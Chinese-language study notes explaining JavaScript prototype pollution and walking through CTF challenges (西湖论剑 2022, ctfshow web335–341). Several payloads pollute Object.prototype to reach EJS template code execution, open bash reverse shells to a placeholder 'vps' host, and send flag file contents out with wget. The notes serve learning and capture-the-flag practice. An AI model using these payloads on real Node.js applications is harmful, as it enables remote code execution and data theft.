原型链污染 学习链接:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html?page=1
node.js js创建对象的形式 1.普通创建 1 2 var name={name :'sauy' ,'age' :'19' }var person={}
2.构造函数方法创建 1 2 3 4 5 6 7 8 9 10 function person ( ){ this .name ='sauy' ; this .test =function ( ){ return 23333 ; } } person.prototype .a =3 ; web=new person (); console .log (web.test ());console .log (web.a )
3.通过object创建 1 2 3 var a=new object(); a.c=3 console.log(a,c)
prototype和__proto__ prototype原型对象
__proto__ 原型链连接点
1 2 3 4 5 6 7 8 function Foo ( ) { this .bar =1 } Foo .prototype .show = function show ( ) { console .log (this .bar ) } let foo = new foo () foo.show ()
1.用法(有点绕 对象.ptoto=构造器(构造函数).prototype
构造器.prototype 其实也是一个对象,为构造函数的原型对象,同样有__proto__
属性,一直通过原型链__proto__
最终可找到null。
我们可以通过Foo.prototype 来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
1 foo.__proto__ == Foo .prototype
理解:每个类对象实例化的时候都会拥有prototype中的属性和方法 一个对象的__proto__的属性,指向这个对象所在类的prototype的属性
1 2 3 var A=function ( ){};var a=new A ();链子顺序如下图:
Ex:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function Father ( ) { this .first_name = 'Donald' this .last_name = 'Trump' } function Son ( ) { this .first_name = 'Melania' } Son .prototype = new Father () let son = new Son ()console .log (`Name: ${son.first_name} ${son.last_name} ` )->输出:Name :Melania Trump
调用son.last_name的时候 实际js内部的操作:
son中找不到last_name,就在son.__ptoto__中寻找last_name,这里找到了last_name于是就输出
如果没有找不到,则在son.__proto__.__proto__中继续寻找,以此类推,直到null结束。
上面描述的js的查找机制就称为:prototype继承链
原型链污染 1.上述描述实践
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 let foo = {bar : 1 } console .log (foo.bar ) foo.__proto__ .bar = 2 console .log (foo.bar ) let zoo = {} console .log (zoo.bar )最后,虽然zoo是一个空对象{},但zoo.bar 的结果居然是2 :
解释:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了
2.切入口
实现原型链污染找到控制数组(对象)的键名的操作就可以:
对象和属性的表达方式很多,如下图:
对象merge(合并) 对象clone(克隆)
merge :下述代码展示了merge的具体功能
1 2 3 4 5 6 7 8 9 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
理解:
1 2 3 4 5 6 const obj1 = { a : 1 , b : { x : 10 } };const obj2 = { b : { y : 20 }, c : 3 };merge (obj1, obj2);console .log (obj1);
1 2 3 4 5 6 7 let o1 = {}let o2 = {a :1 ,"__proto__" :{b :2 }}merge (o1,o2)console .log (o1.a ,o1.b )o3 = {} console .log (o3.b )
上述代码成功合并
3.攻击方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function Father ( ) { this .first_name = 'Donald' this .last_name = 'Trump' } function Son ( ) { this .first_name = 'Melania' } Son .prototype = new Father () let son = new Son ()son.__ptoto__ ['lat_name' ] = 'hello' ; let secondson = new Son ();console .log (`son Name:${son.last_name} ` );console .log (`secondson Name:${secondson.last_name} ` );->son Name : hello ->second Name : hello
1 2 3 4 5 6 7 let foo = {bar :1 }foo.__proto__ .bar = 'require(\'child_process\').execSync(\'calc\');' let zoo = {}eval (zoo.bar )
1 2 3 4 {"hero.name" : "锐雯" ,"__proto__.block" : {"type" : "Text" ,"line" :"process.mainModule.require('child_process').execSync('wget ip:port/`cat /*f*`')" }} {"hero.name" : "锐雯" ,"__proto__" : {"hero.name" : "return e => { for (var a in {}){ delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}" }}
例题:node.js代码审计
[西湖论剑 2022]Node Magical Login 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const fs = require ("fs" );const SECRET_COOKIE = process.env .SECRET_COOKIE || "this_is_testing_cookie" const flag1 = fs.readFileSync ("/flag1" )const flag2 = fs.readFileSync ("/flag2" )function LoginController (req,res ) { try { const username = req.body .username const password = req.body .password if (username !== "admin" || password !== Math .random ().toString ()) { res.status (401 ).type ("text/html" ).send ("Login Failed" ) } else { res.cookie ("user" ,SECRET_COOKIE ) res.redirect ("/flag1" ) } } catch (__) {} } function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) } function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } } function Flag1Controller (req,res ){ try { if (req.cookies .user === SECRET_COOKIE ){ res.setHeader ("This_Is_The_Flag1" ,flag1.toString ().trim ()) res.setHeader ("This_Is_The_Flag2" ,flag2.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("Login success. Welcome,admin!" ) } if (req.cookies .user === "admin" ) { res.setHeader ("This_Is_The_Flag1" , flag1.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("You Got One Part Of Flag! Try To Get Another Part of Flag!" ) }else { res.status (401 ).type ("text/html" ).send ("Unauthorized" ) } }catch (__) {} } module .exports = { LoginController , CheckInternalController , Flag1Controller , CheckController }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const express = require ("express" )const fs = require ("fs" )const cookieParser = require ("cookie-parser" );const controller = require ("./controller" )const app = express ();const PORT = Number (process.env .PORT ) || 80 const HOST = '0.0.0.0' app.use (express.urlencoded ({extended :false })) app.use (cookieParser ()) app.use (express.json ()) app.use (express.static ('static' )) app.post ("/login" ,(req,res ) => { controller.LoginController (req,res) }) app.get ("/" ,(res ) => { res.sendFile (__dirname,"static/index.html" ) }) app.get ("/flag1" ,(req,res ) => { controller.Flag1Controller (req,res) }) app.get ("/flag2" ,(req,res ) => { controller.CheckInternalController (req,res) }) app.post ("/getflag2" ,(req,res )=> { controller.CheckController (req,res) }) app.listen (PORT ,HOST ,() => { console .log (`Server is listening on Host ${HOST} Port ${PORT} .` ) })
web335 使用js里的eval执行命令
1.require('child_process').execSync('cat f*')
> ?eval=require("child_process")['exe'%2B'cSync']('ls')
//绕过对exec的限制
2.require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
3.global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
1 2 3 4 5 6 7 8 9 10 11 require 是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块 child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令 spawnSync(‘ls’,[‘.’]) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, … 代表上一级目录 …/… 代表上上级目录 这中间用于连接的两个点是用来访问对象属性的 'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里 toString()转换为字符串
web36 过滤了load和exec
使用上一次那个命令就好
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
1.传入a[]=1&b[]=2
web338 基础原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
1 2 3 4 5 6 7 8 9 10 11 12 13 module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
payload:
1 2 {"username" :"11" ,"password" :"11" ,"__proto__" :{"ctfshow" :"36dboy" }}
web339 Ejs原型链污染 EJS是一个javascript模板库,用来从json数据中生成HTML字符串
<% code %>用来执行javascript代码
其实和ssti差不多 不过ssti是\{{}}执行python代码
预期解 变量覆盖 在/login下post
1 {"__proto__" :{"query" :"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"')" }}
然后再访问/api 多尝试几次 监听到然后rce找flag
原理: 其实还是就是原型链污染 object可以被子类继承
仿照题目代码的小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } user = {} body = JSON .parse ('{"__proto__":{"query":"return 2233"}}' ); copy (user, body ){ query : Function (query)(query)}
非预期解 ejs模板漏洞 {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}
直接在·login目录·传·这个·payload就·ok
监听1234端口就好
web340 这个题就是·要进行两次污染关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } }); module .exports = router;
1 payload:{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"')"}}}
也是先在login路由 然后访问api路由
web341 {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}}
1 {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}}